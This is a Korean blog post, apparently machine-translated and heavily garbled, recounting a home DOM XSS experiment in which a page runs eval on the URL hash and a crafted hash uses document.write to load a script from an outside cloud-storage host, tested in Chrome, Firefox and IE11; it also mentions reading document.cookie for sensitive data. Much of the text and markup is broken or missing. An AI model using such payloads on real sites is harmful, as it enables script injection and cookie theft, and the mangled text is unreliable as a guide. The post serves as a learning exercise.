간단 한 DOM XSS 공격 실험 을 기억 해 주세요.

기 존 에 XSS 에 대해 들 은 바 가 있 었 지만 어제 '깊이 파고 들 어 nodejs' 를 공부 하 는 과정 에서 XSS 공격 의 원 리 를 깊이 알 게 되 었 습 니 다. 그래서 일찍부터 보고 싶 었 던' 웹 전단 해 킹 기술 복호화 '를 찾 아 크로스 오 버 공격 스 크 립 트 XSS 섹 션 을 찾 았 습 니 다. 그래서 다음 과 같은 간단 한 XSS 공격 실험 이 있 었 습 니 다.
index.html



    
    XSSdemo


    eval(location.hash.substr(1))


    


핵심 코드: eval (location. hash. substr (1))
xss. js (XSS 공격 스 크 립 트, 일곱 개의 소 구름 에 저장:http://ov6jc8fwp.bkt.clouddn....)
alert("     XSS   !")

핵심 코드: alert ("당신 의 사이트 가 XSS 에 공격 당 했 습 니 다!") Cookie 는 자주 입력 점 으로 사용 되 며, escape (document. cookie) 를 사용 하여 사용자 Cookie 에 저 장 된 민감 한 정 보 를 얻 을 수 있 습 니 다. 예 를 들 어 전화번호, 비밀번호 등 입 니 다.
어떻게 공격 합 니까?
접근 대기 파일 xss. html 의 url 에 hash 값 을 추가 합 니 다#document.write("")
예 를 들 면:file:///C:/Users/jack/Desktop/XSSdemo/index.html#document.write("")</p>
<p>실제 환경 에서 이 부분 은file:///C:/Users/jack/Desktop/XSSdemo/이 가능 하 다, ~ 할 수 있다,...http://192.168.32.89:80/,http://192.16.32.89:8080/등 실제 주소.lt;br>전체 형식:http://192.16.32.89:8080/index.html#document.write("<script/src=//http://ov6jc8fwp.bkt.clouddn....;")
Chrome ?

Chrome

file:///C:/Users/jack/Desktop/XSSdemo/index.html#document.write(")</p> </blockquote> <p> Chrome , :</p> <p><span class="img-wrap"></span></p> <p> ?<br> Chrome filter , 。</p> <h5> FireFox ?</h5> <p>( Firefox 57.0 Quantum )<br> 。<br><code>eval(decodeURI(location.hash.substr(1)))</code><br> <code>file:///C:/Users/jack/Desktop/XSSdemo/index.html#document.write(<script/src=http://ov6jc8fwp.bkt.clouddn.com/xss.js>")

XSS FireFox !

,XSS index.html

IE ?

( IE11.726.15063.0 )
XSS IE11 !

, , , ?
NoNoNo, 。

javascript eval() , , eval() XSS , :
location.hash.substr(1), 'document.write(")'</p> <p> eval(decodeURI(location.hash.substr(1)))<br> eval'(document.write(`<script/src=http://ov6jc8fwp.bkt.clouddn....;")')

eval() XSS , eval() 。

, Chrome XSS , Chrome 。

XSS , , !

That's it !

좋은 웹페이지 즐겨찾기